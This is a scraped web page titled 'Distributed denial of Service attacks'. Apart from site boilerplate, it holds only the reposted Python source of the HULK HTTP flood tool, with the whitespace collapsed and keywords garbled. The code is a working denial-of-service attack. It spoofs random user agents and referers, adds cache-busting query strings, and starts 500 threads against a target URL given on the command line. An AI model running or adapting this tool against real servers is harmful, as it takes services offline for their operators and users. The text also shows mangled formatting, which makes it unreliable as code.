Distributed denial of Service attacks

Source: Internet
Author: User

# ----------------------------------------------------------------------------------------------#hulk-http unbearable Load King##This tool was a DOS tool that was meant to put heavy load on HTTP servers in order to bring them#to their knees by exhausting the resource pool, it's meant for the. purposes only#And any malicious the usage of this tool is prohibited.##Author:barry Shteiman, version 1.0# ----------------------------------------------------------------------------------------------ImportUrllib2ImportSYSImportThreadingImportRandomImportRe#Global paramsUrl="'Host="'headers_useragents=[]headers_referers=[]request_counter=0flag=0safe=0definc_counter ():GlobalRequest_counter Request_counter+=1defSet_flag (val):GlobalFlag Flag=ValdefSet_safe ():GlobalSafe Safe=1#generates a user agent arraydefuseragent_list ():Globalheaders_useragents Headers_useragents.append ('mozilla/5.0 (X11; U Linux x86_64; En-us; rv:1.9.1.3) gecko/20090913 firefox/3.5.3') Headers_useragents.append ('mozilla/5.0 (Windows; U Windows NT 6.1; En rv:1.9.1.3) gecko/20090824 firefox/3.5.3 (. NET CLR 3.5.30729)') Headers_useragents.append ('mozilla/5.0 (Windows; U Windows NT 5.2; En-us; rv:1.9.1.3) gecko/20090824 firefox/3.5.3 (. NET CLR 3.5.30729)') Headers_useragents.append ('mozilla/5.0 (Windows; U Windows NT 6.1; En-us; rv:1.9.1.1) gecko/20090718 firefox/3.5.1') Headers_useragents.append ('mozilla/5.0 (Windows; U Windows NT 5.1; En-US) applewebkit/532.1 (khtml, like Gecko) chrome/4.0.219.6 safari/532.1') Headers_useragents.append ('mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; trident/4.0; SLCC2;. NET CLR 2.0.50727; INFOPATH.2)') Headers_useragents.append ('mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; trident/4.0; SLCC1;. NET CLR 2.0.50727;. NET CLR 1.1.4322;. NET CLR 3.5.30729;. NET CLR 3.0.30729)') Headers_useragents.append ('mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; trident/4.0)') Headers_useragents.append ('mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; trident/4.0; SV1;. NET CLR 2.0.50727; INFOPATH.2)') Headers_useragents.append ('mozilla/5.0 (Windows; U MSIE 7.0; Windows NT 6.0; En -US)') Headers_useragents.append ('mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') Headers_useragents.append ('opera/9.80 (Windows NT 5.2; U RU) presto/2.5.22 version/10.51')    return(headers_useragents)#generates a referer arraydefreferer_list ():Globalheaders_referers Headers_referers.append ('http://www.google.com/?q=') Headers_referers.append ('http://www.usatoday.com/search/results?q=') Headers_referers.append ('http://engadget.search.aol.com/search?q=') Headers_referers.append ('/ http'+ Host +'/')    return(headers_referers)#builds random ASCII stringdefbuildblock (size): Out_str="'     forIinchRange (0, size): a= Random.randint (65, 90) Out_str+=Chr (a)return(OUT_STR)defusage ():Print '---------------------------------------------------'    Print 'Usage:python hulk.py <url>'    Print 'You can add the "safe" after URLs, to Autoshut after DOS'    Print '---------------------------------------------------'    #HTTP requestdefhttpcall (URL): Useragent_list () referer_list () code=0ifUrl.count ("?") >0:param_joiner="&"    Else: Param_joiner="?"Request= Urllib2. Request (url + param_joiner + buildblock (random.randint (3,10)) +'='+ Buildblock (Random.randint (3,10)) ) Request.add_header ('user-agent', Random.choice (headers_useragents)) Request.add_header ('Cache-control','No-cache') Request.add_header ('Accept-charset','iso-8859-1,utf-8;q=0.7,*;q=0.7') Request.add_header ('Referer', Random.choice (headers_referers) + Buildblock (Random.randint (5,10)) ) Request.add_header ('keep-alive', Random.randint (110,120)) Request.add_header ('Connection','keep-alive') Request.add_header ('Host', host)Try: Urllib2.urlopen (Request)exceptUrllib2. Httperror, E:#Print E.codeSet_flag (1)            Print 'Response Code'Code=500exceptUrllib2. Urlerror, E:#Print E.reasonsys.exit ()Else: Inc_counter () urllib2.urlopen (Request)return(Code)#http Caller ThreadclassHttpthread (Threading. Thread):defRun (self):Try:             whileFlag<2: Code=httpcall (URL)if(code==500) & (safe==1): Set_flag (2)        exceptException, ex:Pass#monitors HTTP threads and counts requestsclassMonitorthread (Threading. Thread):defRun (self): previous=Request_counter whileflag==0:if(Previous+100<request_counter) & (previous<>request_counter):Print "%d requests Sent"%(request_counter) Previous=Request_counterifflag==2:            Print "\n--HULK Attack finished--"#ExecuteifLen (SYS.ARGV) < 2: Usage () sys.exit ()Else:    ifsys.argv[1]==" Help": Usage () sys.exit ()Else:        Print "-- HULK Attack Started--"        ifLen (sys.argv) = = 3:            ifsys.argv[2]=="Safe": Set_safe () URL= Sys.argv[1]        ifUrl.count ("/") ==2: URL= URL +"/"m= Re.search ('http\://([^/]*)/?. *', URL) host= M.group (1)         forIinchRange (500): T=Httpthread () T.start () T=Monitorthread () T.start ( )

Distributed denial of Service attacks

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.